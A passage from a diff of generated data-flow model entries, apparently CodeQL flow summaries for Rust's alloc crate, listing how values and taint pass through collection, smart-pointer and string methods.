"Argument[self].Field[crate::collections::btree::set::IntoIter::iter].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::set::IntoIter::iter].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::set::IntoIter::iter].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Iter::iter].Field[crate::collections::btree::map::Keys::inner]", "ReturnValue.Field[crate::collections::btree::set::Iter::iter].Field[crate::collections::btree::map::Keys::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Iter::iter].Reference", "ReturnValue.Field[crate::collections::btree::set::Iter::iter]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Iter::iter]", "ReturnValue.Field[crate::collections::btree::set::Iter::iter]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Range::iter].Field[crate::collections::btree::map::Range::inner]", "ReturnValue.Field[crate::collections::btree::set::Range::iter].Field[crate::collections::btree::map::Range::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Range::iter].Reference", "ReturnValue.Field[crate::collections::btree::set::Range::iter]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Range::iter]", "ReturnValue.Field[crate::collections::btree::set::Range::iter]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::insert", "Argument[self].Field[crate::collections::btree::set::entry::Entry::Occupied(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::get", "Argument[self].Field[crate::collections::btree::set::entry::VacantEntry::inner].Field[crate::collections::btree::map::entry::VacantEntry::key]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::into_value", "Argument[self].Field[crate::collections::btree::set::entry::VacantEntry::inner].Field[crate::collections::btree::map::entry::VacantEntry::key]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::linked_list::Cursor::current]", "ReturnValue.Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::linked_list::Cursor::index]", "ReturnValue.Field[crate::collections::linked_list::Cursor::index]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::linked_list::Cursor::list]", "ReturnValue.Field[crate::collections::linked_list::Cursor::list]", "value", "dfc-generated"] @@ -265,6 +294,7 @@ extensions: - ["lang:alloc", "::index", "Argument[self].Field[crate::collections::linked_list::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::index", "Argument[self].Field[crate::collections::linked_list::Cursor::index]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::move_next", "Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::head]", "Argument[self].Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] + - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::Cursor::index]", "value", "dfc-generated"] - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::tail]", "Argument[self].Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::as_cursor", "Argument[self].Field[crate::collections::linked_list::CursorMut::current]", "ReturnValue.Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::as_cursor", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "ReturnValue.Field[crate::collections::linked_list::Cursor::index]", "value", "dfc-generated"] @@ -275,13 +305,16 @@ extensions: - ["lang:alloc", "::index", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::insert_after", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "value", "dfc-generated"] - ["lang:alloc", "::move_next", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::head]", "Argument[self].Field[crate::collections::linked_list::CursorMut::current]", "value", "dfc-generated"] + - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "value", "dfc-generated"] - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::tail]", "Argument[self].Field[crate::collections::linked_list::CursorMut::current]", "value", "dfc-generated"] - ["lang:alloc", "::remove_current", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::remove_current", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::remove_current_as_list", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::remove_current_as_list", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::remove_current_as_list", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::alloc]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::linked_list::LinkedList::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::splice_after", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "value", "dfc-generated"] + - ["lang:alloc", "::split_after", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] + - ["lang:alloc", "::split_before", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::len]", "value", "dfc-generated"] + - ["lang:alloc", "::split_before", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::head]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::head]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IntoIter::list].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IntoIter::list].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -289,9 +322,7 @@ extensions: - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::Iter::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IterMut::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IterMut::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:alloc", "::spec_extend", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:alloc", "::append", "Argument[0].Field[crate::collections::linked_list::LinkedList::tail].Reference", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] - - ["lang:alloc", "::append", "Argument[0].Field[crate::collections::linked_list::LinkedList::tail]", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] + - ["lang:alloc", "::clone_from", "Argument[0].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "value", "dfc-generated"] - ["lang:alloc", "::cursor_back", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::cursor_back", "Argument[self]", "ReturnValue.Field[crate::collections::linked_list::Cursor::list]", "value", "dfc-generated"] - ["lang:alloc", "::cursor_back_mut", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::CursorMut::current]", "value", "dfc-generated"] @@ -312,21 +343,30 @@ extensions: - ["lang:alloc", "::iter_mut", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::IterMut::tail]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::split_off", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::drain", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::linked_list::LinkedList::alloc].Reference", "ReturnValue.Field[crate::collections::linked_list::LinkedList::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] + - ["lang:alloc", "::spec_from_iter", "Argument[0].Field[crate::collections::vec_deque::into_iter::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::drain", "Argument[self].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::deque]", "value", "dfc-generated"] - ["lang:alloc", "::from_contiguous_raw_parts_in", "Argument[1].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::collections::vec_deque::VecDeque::head]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::resize", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] + - ["lang:alloc", "::resize_with", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] + - ["lang:alloc", "::retain", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "::retain_mut", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["lang:alloc", "::shrink_to", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] - ["lang:alloc", "::truncate", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::drain::Drain::remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::drain::Drain::remaining]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:alloc", "::new", "Argument[1]", "Argument[0].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] + - ["lang:alloc", "::new", "Argument[0].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::deque]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[1]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::idx]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[2]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::drain_len]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[2]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::remaining]", "value", "dfc-generated"] + - ["lang:alloc", "::advance_back_by", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:alloc", "::count", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::fold", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::into_vecdeque", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::collections::vec_deque::into_iter::IntoIter::inner]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -347,8 +387,10 @@ extensions: - ["lang:alloc", "::try_fold", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::collections::vec_deque::iter_mut::IterMut::i1]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[1]", "ReturnValue.Field[crate::collections::vec_deque::iter_mut::IterMut::i2]", "value", "dfc-generated"] + - ["lang:alloc", "::into_c_string", "Argument[self].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::index", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_bytes_with_nul", "Argument[self].Field[crate::ffi::c_str::CString::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_c_str", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] @@ -356,6 +398,7 @@ extensions: - ["lang:alloc", "::as_bytes", "Argument[self].Field[crate::ffi::c_str::FromVecWithNulError::bytes].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::into_bytes", "Argument[self].Field[crate::ffi::c_str::FromVecWithNulError::bytes]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::source", "Argument[self].Field[crate::ffi::c_str::IntoStringError::error]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["lang:alloc", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::into_cstring", "Argument[self].Field[crate::ffi::c_str::IntoStringError::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::utf8_error", "Argument[self].Field[crate::ffi::c_str::IntoStringError::error]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::into_vec", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] @@ -363,7 +406,10 @@ extensions: - ["lang:alloc", "::nul_position", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::nul_position", "Argument[self].Field[crate::ffi::c_str::NulError(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::spec_to_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::allocator", "Argument[self].Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from_nonnull_in", "Argument[2]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_parts_in", "Argument[2]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] @@ -375,7 +421,6 @@ extensions: - ["lang:alloc", "::allocator", "Argument[0].Field[crate::rc::Rc::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::downcast", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::Rc::alloc].Reference", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::Rc::alloc]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::Rc::ptr]", "ReturnValue.Field[crate::rc::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_slice_in", "Argument[1]", "ReturnValue.Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] @@ -385,23 +430,26 @@ extensions: - ["lang:alloc", "::try_new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::try_unwrap", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference.Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::strong_ref", "Argument[self].Field[crate::rc::RcInner::strong]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::weak_ref", "Argument[self].Field[crate::rc::RcInner::weak]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:alloc", "::downgrade", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::UniqueRc::alloc].Reference", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::UniqueRc::alloc]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::UniqueRc::ptr]", "ReturnValue.Field[crate::rc::Weak::ptr]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::rc::Weak::alloc].Reference", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::rc::Weak::alloc]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::rc::Weak::ptr]", "ReturnValue.Field[crate::rc::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::allocator", "Argument[self].Field[crate::rc::Weak::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_in", "Argument[1]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::rc::Weak::alloc].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::rc::Weak::alloc]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::rc::Weak::ptr]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::strong_ref", "Argument[self].Field[crate::rc::WeakInner::strong]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::weak_ref", "Argument[self].Field[crate::rc::WeakInner::weak]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::as_bytes", "Argument[self].Field[crate::string::FromUtf8Error::bytes].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::into_bytes", "Argument[self].Field[crate::string::FromUtf8Error::bytes]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::utf8_error", "Argument[self].Field[crate::string::FromUtf8Error::error]", "ReturnValue", "value", "dfc-generated"] @@ -412,6 +460,10 @@ extensions: - ["lang:alloc", "::clone", "Argument[self].Field[crate::string::String::vec]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::string::String::vec].Reference", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::string::String::vec]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -424,13 +476,16 @@ extensions: - ["lang:alloc", "::from_utf8_lossy_owned", "Argument[0]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - ["lang:alloc", "::from_utf8_unchecked", "Argument[0]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - ["lang:alloc", "::into_bytes", "Argument[self].Field[crate::string::String::vec]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::string::String::vec].Field[crate::vec::Vec::len]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::remove", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::string::String::vec].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::truncate", "Argument[0]", "Argument[self].Field[crate::string::String::vec].Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::try_from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::allocator", "Argument[0].Field[crate::sync::Arc::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::downcast", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::sync::Arc::alloc].Reference", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::sync::Arc::alloc]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::sync::Arc::ptr]", "ReturnValue.Field[crate::sync::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_slice_in", "Argument[1]", "ReturnValue.Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] @@ -440,33 +495,42 @@ extensions: - ["lang:alloc", "::try_new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::try_unwrap", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference.Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::sync::Weak::alloc].Reference", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::sync::Weak::alloc]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::sync::Weak::ptr]", "ReturnValue.Field[crate::sync::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::allocator", "Argument[self].Field[crate::sync::Weak::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from_raw", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::from_raw_in", "Argument[1]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::sync::Weak::alloc].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::sync::Weak::alloc]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::sync::Weak::ptr]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow_mut", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[crate::bstr::ByteString(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[crate::collections::binary_heap::BinaryHeap::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[crate::string::String::vec]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::drain", 